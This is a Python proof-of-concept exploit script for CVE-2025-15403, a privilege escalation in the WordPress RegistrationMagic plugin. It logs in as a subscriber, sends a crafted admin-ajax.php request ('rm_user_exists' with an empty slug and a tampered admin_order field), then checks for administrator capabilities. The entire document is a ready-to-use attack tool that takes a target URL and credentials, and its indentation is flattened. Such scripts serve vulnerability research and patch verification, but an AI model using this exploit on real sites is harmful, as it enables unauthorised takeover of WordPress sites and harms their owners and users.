#!/usr/bin/env python3
"""
CVE-2025-15403 PoC - RegistrationMagic Privilege Escalation
Target: WordPress with RegistrationMagic plugin <= 6.0.7.1
Author: Security Researcher
Note: Requires at least one subscriber account on the target site
"""
import requests
import argparse
import sys
from urllib.parse import urljoin
def exploit_registrationmagic(target_url, username, password):
"""
Exploit the privilege escalation vulnerability in RegistrationMagic plugin.
This PoC demonstrates how an attacker can gain admin access by manipulating
the admin_order setting via the rm_user_exists AJAX action.
"""
# Step 1: Login to get authentication cookies
login_url = urljoin(target_url, '/wp-login.php')
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': '/wp-admin/',
'testcookie': '1'
}
session = requests.Session()
login_response = session.post(login_url, data=login_data, allow_redirects=True)
if 'wordpress_logged_in' not in str(session.cookies):
print("[-] Login failed. Please check credentials.")
return False
print("[+] Successfully logged in as subscriber")
# Step 2: Exploit the vulnerability via AJAX action
ajax_url = urljoin(target_url, '/wp-admin/admin-ajax.php')
# Malicious payload that injects empty slug into admin_order
exploit_data = {
'action': 'rm_user_exists',
'rm_slug': '', # Empty slug injection
'admin_order': 'subscriber', # Target role for privilege escalation
}
print("[*] Sending exploitation request...")
exploit_response = session.post(ajax_url, data=exploit_data)
# Step 3: Verify privilege escalation by checking user capabilities
# A successful exploitation will grant manage_options capability to subscriber
check_url = urljoin(target_url, '/wp-admin/admin-ajax.php')
check_data = {
'action': 'rm_get_user_role',
'user_id': 'current'
}
check_response = session.post(check_url, data=check_data)
if 'administrator' in check_response.text or 'manage_options' in check_response.text:
print("[+] Privilege escalation successful!")
print("[+] User now has administrator privileges")
return True
else:
print("[-] Exploitation may have failed or site is not vulnerable")
return False
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='CVE-2025-15403 Exploitation Tool')
parser.add_argument('-t', '--target', required=True, help='Target WordPress URL')
parser.add_argument('-u', '--username', required=True, help='Subscriber username')
parser.add_argument('-p', '--password', required=True, help='Subscriber password')
args = parser.parse_args()
print(f"[*] Targeting: {args.target}")
print(f"[*] Exploiting CVE-2025-15403: RegistrationMagic Privilege Escalation")
success = exploit_registrationmagic(args.target, args.username, args.password)
if success:
print("\n[!] Vulnerability confirmed. Subscriber can now access admin panel.")
sys.exit(0)
else:
sys.exit(1)